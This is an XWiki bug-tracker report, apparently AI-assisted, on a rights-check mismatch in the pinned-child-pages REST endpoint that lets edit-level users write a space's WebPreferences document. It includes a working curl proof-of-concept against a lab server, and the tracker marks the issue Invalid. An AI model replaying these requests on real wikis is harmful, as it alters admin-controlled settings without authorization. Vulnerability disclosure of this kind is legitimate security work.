Details
-
Bug
-
Resolution: Invalid
-
Blocker
-
None
-
None
-
Unknown
-
-
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
-
5.3
Description
llm-agent
continuation of XWIKI-24747
Env
- XWiki 18.6.0 (official xwiki:18.6.0-mariadb-tomcat image), xwiki-platform-index-tree-rest-default / xwiki-platform-index-tree-api 18.6.0 (Java, from the WAR)
- requires a registered user holding the default wiki-level edit grant that XWiki Standard gives XWikiAllGroup
- since 17.2.0 (REST reach) — aaf345bbb3f (2025-02-21,
XWIKI-22583"Allow users with edit rights on a page and all its children to use the Pinned Pages feature"); the low-level saveDocument to WebPreferences comes from 3eef6168316 (2024-04-29,XWIKI-14422), first released in 16.4.0. Affected >= 17.2.0, through 18.6.0 and master - stock install, nothing configured — the endpoint is part of the XWiki Standard flavor
- CVSS 4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N = 5.3
Explanation
The platform has just fixed one place where WebPreferences is written under a right checked on the space home (XWIKI-24747, refactoring/rename path). This is a second, in a different module, through a different API.
The gate and the write target are different documents. DefaultPinnedChildPagesResource.setPinnedChildPages checks hasAccess(Right.EDIT, <S>.WebHome); PinnedChildPagesManager.setPinnedChildPages then writes <S>.WebPreferences with xcontext.getWiki().saveDocument(...) — the low-level API, which performs no rights check of its own and bypasses checkSavingDocument — creating the document if absent and restamping its originalMetadataAuthor to the caller.
A user holding only wiki-level edit gets 401 on a direct write of <S>.WebPreferences and 202 through this endpoint, in the same run.
The stronger arm: an "allow view to admins only" space ACL does not override the wiki-level edit grant to XWikiAllGroup, so hasAccess(EDIT, <S>.WebHome) stays true while every normal write path (which also needs VIEW) refuses. The user then writes the preferences document of a space in which they cannot read or write anything at all.
DefaultPinnedChildPagesResource.java#L92-L116
homeReference = new DocumentReference(wikiName, spaces, ...getName()); // <S>.WebHome if (!this.authorizationManager.hasAccess(Right.EDIT, homeReference)) { return Response.status(Response.Status.FORBIDDEN).build(); } ... this.pinnedChildPagesManager.setPinnedChildPages(homeReference, pinnedChildPagesRef);
PinnedChildPagesManager.java#L174-L196
XWikiDocument storageDocument = xcontext.getWiki().getDocument(storageReference, xcontext).clone(); if (storageDocument.isNew()) { storageDocument.setHidden(true); } storageDocument.getAuthors().setOriginalMetadataAuthor( this.currentUserReferenceResolver.resolve(CurrentUserReference.INSTANCE)); ... xcontext.getWiki().saveDocument(storageDocument, saveComment, true, xcontext);
getPinnedChildPagesStorage maps a SPACE parent to new DocumentReference("WebPreferences", new SpaceReference(parentReference)).
Related: XWIKI-24747 (same gate/target mismatch, refactoring path). Caused by: XWIKI-22583 (aaf345bbb3f, the REST resource) / XWIKI-14422 (3eef6168316, the low-level write).
PoC
Full script: [^P6-searchindex-06-review-pinnedchildpages-webpreferences-write.sh]
{warning}Arm 2 adds a space-level ACL denying view to everyone but XWiki.Admin. Teardown deletes the whole space and verifies 404 plus an empty read-back.{warning}B=http://10.1.1.128:8080 J=$(mktemp) # --- SETUP ------------------------------------------------------------- for n in WebHome Alpha Beta; do curl -s -u admin:admin -X PUT -H 'Content-Type: text/plain' --data-binary 'c' \ "$B/rest/wikis/xwiki/spaces/P6RSXE/pages/$n"; done # 201 x3 # --- ARM 1, refutation first: the normal write path refuses ------------- curl -s -o /dev/null -w '%{http_code}\n' -u standard:standard -X PUT \ -H 'Content-Type: text/plain' --data-binary 'x' \ "$B/rest/wikis/xwiki/spaces/P6RSXE/pages/WebPreferences" # 401 curl -s -o /dev/null -w '%{http_code}\n' -u standard:standard -X PUT \ -H 'Content-Type: text/plain' --data-binary 'c2' \ "$B/rest/wikis/xwiki/spaces/P6RSXE/pages/WebHome" # 202 <- control # --- ARM 1, exploit: same user, same document, other endpoint ---------- curl -s -o /dev/null -w '%{http_code}\n' -u standard:standard -X POST \ -H 'Content-Type: application/json' --data '["xwiki:P6RSXE.Beta","xwiki:P6RSXE.Alpha"]' \ "$B/rest/wikis/xwiki/spaces/P6RSXE/pinnedChildPages" # 202 curl -s -u admin:admin "$B/rest/wikis/xwiki/spaces/P6RSXE/pages/WebPreferences" | grep -oE '<(version|originalMetadataAuthor)>[^<]*' # <version>1.1</version> <originalMetadataAuthor>xwiki:XWiki.standard</originalMetadataAuthor> curl -s -u admin:admin "$B/rest/wikis/xwiki/spaces/P6RSXE/pinnedChildPages" # ["xwiki:P6RSXE.Beta","xwiki:P6RSXE.Alpha"] # --- ARM 1, positive controls that the gate is not simply absent ------- curl -s -o /dev/null -w '%{http_code}\n' -u standard:standard -X POST \ -H 'Content-Type: application/json' --data '["Sandbox"]' \ "$B/rest/wikis/xwiki/pinnedChildPages" # 403 (wiki gate = ADMIN) curl -s -o /dev/null -w '%{http_code}\n' -X POST \ -H 'Content-Type: application/json' --data '["Sandbox"]' \ "$B/rest/wikis/xwiki/spaces/P6RSXE/pinnedChildPages" # 403 (guest) # --- ARM 2: deny the user everything in the space ---------------------- TOK=$(curl -s -D - -o /dev/null -u admin:admin -c "$J" -b "$J" "$B/rest/wikis/xwiki" \ | awk 'tolower($1)=="xwiki-form-token:"{print $2}' | tr -d '\r') [ -n "$TOK" ] || { echo "token extraction failed"; exit 1; } curl -s -u admin:admin -c "$J" -b "$J" -H "XWiki-Form-Token: $TOK" -X POST \ --data-urlencode 'className=XWiki.XWikiGlobalRights' --data-urlencode 'property#levels=view' \ --data-urlencode 'property#users=XWiki.Admin' --data-urlencode 'property#allow=1' \ "$B/rest/wikis/xwiki/spaces/P6RSXE/pages/WebPreferences/objects" # 201 curl -s -o /dev/null -w '%{http_code}\n' -u standard:standard "$B/bin/view/P6RSXE/Alpha" # 403 curl -s -o /dev/null -w '%{http_code}\n' -u standard:standard -X PUT -H 'Content-Type: text/plain' \ --data-binary 'z' "$B/rest/wikis/xwiki/spaces/P6RSXE/pages/Alpha" # 401 curl -s -o /dev/null -w '%{http_code}\n' -u standard:standard -X POST \ -H 'Content-Type: application/json' --data '["xwiki:P6RSXE.Alpha"]' \ "$B/rest/wikis/xwiki/spaces/P6RSXE/pinnedChildPages" # 202 <-- still writes curl -s -u admin:admin "$B/rest/wikis/xwiki/spaces/P6RSXE/pages/WebPreferences/objects" | grep -o '<className>[^<]*' # XWiki.PinnedChildPagesClass + XWiki.XWikiGlobalRights (the ACL survives the write) # --- TEARDOWN ---------------------------------------------------------- for p in Alpha Beta WebPreferences WebHome; do curl -s -u admin:admin -X DELETE "$B/rest/wikis/xwiki/spaces/P6RSXE/pages/$p"; done # 204 for p in Alpha Beta WebPreferences WebHome; do curl -s -o /dev/null -w "$p %{http_code}\n" -u admin:admin \ "$B/rest/wikis/xwiki/spaces/P6RSXE/pages/$p"; done # 404 x4 curl -s -u admin:admin "$B/rest/wikis/xwiki/spaces/P6RSXE/pinnedChildPages" # [] rm -f "$J"
Bounds
- The stored value is a StaticListClass list of resolved-and-reserialised document references, so no arbitrary content or rights objects can be injected, and existing objects on WebPreferences survive the write (verified).
- No stored-XSS arm — templates/pinnedChildPagesDisplayer.vm renders through #suggestInput (macros.vm:2975), which pushes every value through $escapetool.xml.
Impact
A user with only wiki-level edit creates or modifies <S>.WebPreferences — admin territory — in any space, including a space whose ACL denies them both read and write.
Credit
Assisted-by: Claude
Supervised-by: Clément Christiaens (https://github.com/ciaens)
Attachments
Issue Links
- relates to
-
XWIKI-22787 Pinned Pages are lost on space move for non admin user
-
- Closed
-
-
XWIKI-22583 Allow users with edit rights on a page and all its children to use the Pinned Pages feature
-
- Closed
-